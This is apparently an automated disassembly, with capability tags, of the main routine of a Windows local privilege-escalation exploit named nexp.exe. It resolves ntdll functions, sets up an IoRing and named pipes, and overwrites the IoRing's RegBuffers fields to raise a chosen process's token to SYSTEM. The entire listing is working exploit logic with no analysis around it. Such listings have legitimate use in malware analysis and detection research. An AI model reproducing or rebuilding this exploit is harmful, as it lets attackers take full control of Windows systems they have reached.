Function at 0x4012a0
Capabilities:
Create pipe
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xc
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 8], eax
mov ecx, dword [ebp + 0xc]
push ebx
xor ebx, ebx
cmp dword [ebp + 8], 2
push esi
push edi
mov dword [esp + 0x10], ebx
je 0x4012e8
push str.usage:_nexp.exe__pid__n
call fcn.00401010
add esp, 4
or eax, 0xffffffff
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 8]
xor ecx, esp
call fcn.00401a78
mov esp, ebp
pop ebp
ret
push 0xa
push 0
push dword [ecx + 4]
call dword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_strtol]
add esp, 0xc
mov dword [esp + 0xc], eax
push eax
push str.____Attempting_to_elevate_pid__i_n
call fcn.00401010
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
add esp, 8
push str.NtCreateFile
push str.ntdll.dll
call edi
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call esi
push str.NtDeviceIoControlFile
push str.ntdll.dll
mov dword [0x4053f4], eax
call edi
push eax
call esi
push str.NtCreateIoCompletion
push str.ntdll.dll
mov dword [0x4053f8], eax
call edi
push eax
call esi
push str.NtSetIoCompletion
push str.ntdll.dll
mov dword [0x4053ec], eax
call edi
push eax
call esi
push str.NtQuerySystemInformation
push str.ntdll.dll
mov dword [0x4053f0], eax
call edi
push eax
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [0x4053e8], eax
cmp dword [0x4053f0], ebx
je 0x4013a4
cmp dword [0x4053ec], ebx
je 0x4013a4
cmp dword [0x4053f4], ebx
je 0x4013a4
cmp dword [0x4053f8], ebx
je 0x4013a4
test eax, eax
jne 0x4013ce
call edi
mov esi, eax
test esi, esi
je 0x4013ce
push esi
push str.____Failed_to_get_address_of_NT_functions:__0x_n
call fcn.00401010
add esp, 8
mov eax, esi
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 8]
xor ecx, esp
call fcn.00401a78
mov esp, ebp
pop ebp
ret
push 0x4053d4
push 0x20000
push 0x10000
push 0
push 0
push 0x12c
call dword [sym.imp.KERNEL32.dll_CreateIoRing]
mov esi, eax
test esi, esi
jne 0x4014d4
mov eax, dword [0x4053d4]
push dword [eax]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov edx, eax
lea ecx, [esp + 0x14]
call fcn.004015e0
mov ebx, dword [esp + 0x14]
mov esi, eax
add esp, 4
test esi, esi
jne 0x4014d4
mov esi, dword [sym.imp.KERNEL32.dll_CreateNamedPipeW]
push eax
push eax
push 0x1000
push 0x1000
push 0xff
push eax
push 3
push str..pipeioring_in
mov dword [0x4053d0], ebx
call esi
push 0
push 0
push 0x1000
push 0x1000
push 0xff
push 0
push 3
push str..pipeioring_out
mov dword [0x405064], eax
call esi
cmp dword [0x405064], 0xffffffff
mov dword [0x40506c], eax
je 0x4014cc
cmp eax, 0xffffffff
je 0x4014cc
mov esi, dword [sym.imp.KERNEL32.dll_CreateFileW]
push 0
push 0x80
push 4
push 0
push 3
push 0xc0000000
push str..pipeioring_in
call esi
push 0
push 0x80
push 4
push 0
push 3
push 0xc0000000
push str..pipeioring_out
mov dword [0x405060], eax
call esi
cmp dword [0x405060], 0xffffffff
mov dword [0x405068], eax
je 0x4014cc
cmp eax, 0xffffffff
jne 0x4014f6
call edi
mov esi, eax
test esi, esi
je 0x4014f6
push esi
push str.____IORING_setup_failed:__0x_n
call fcn.00401010
add esp, 8
mov eax, esi
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 8]
xor ecx, esp
call fcn.00401a78
mov esp, ebp
pop ebp
ret
push ebx
push str.___IoRing_Obj_Address_at__llx_n
call fcn.00401010
add esp, 8
lea ecx, [ebx + 0x87]
call fcn.00401050
mov esi, eax
test esi, esi
je 0x401537
push esi
push str.____IoRing__RegBuffers_overwrite_failed:__0x_n
call fcn.00401010
add esp, 8
mov eax, esi
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 8]
xor ecx, esp
call fcn.00401a78
mov esp, ebp
pop ebp
ret
push str.___IoRing__RegBuffers_overwritten_with_address_0x1000000_n
call fcn.00401010
add esp, 4
lea ecx, [ebx + 0x80]
call fcn.00401050
mov esi, eax
test esi, esi
je 0x401577
push esi
push str.____IoRing__RegBuffersCount_overwrite_failed:__0x_n
call fcn.00401010
add esp, 8
mov eax, esi
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 8]
xor ecx, esp
call fcn.00401a78
mov esp, ebp
pop ebp
ret
push str.___IoRing__RegBuffersCount_overwritten_with_0x1_n
call fcn.00401010
push ecx
mov ecx, dword [esp + 0x14]
call fcn.00401800
mov esi, eax
add esp, 8
test esi, esi
je 0x4015b6
push esi
push str.____LPE_Failed:__0x_n
call fcn.00401010
add esp, 8
mov eax, esi
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 8]
xor ecx, esp
call fcn.00401a78
mov esp, ebp
pop ebp
ret
push str.___Target_process_token_elevated_to_SYSTEM__n
call fcn.00401010
add esp, 4
mov eax, esi
mov ecx, dword [esp + 0x14]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00401a78
mov esp, ebp
pop ebp
ret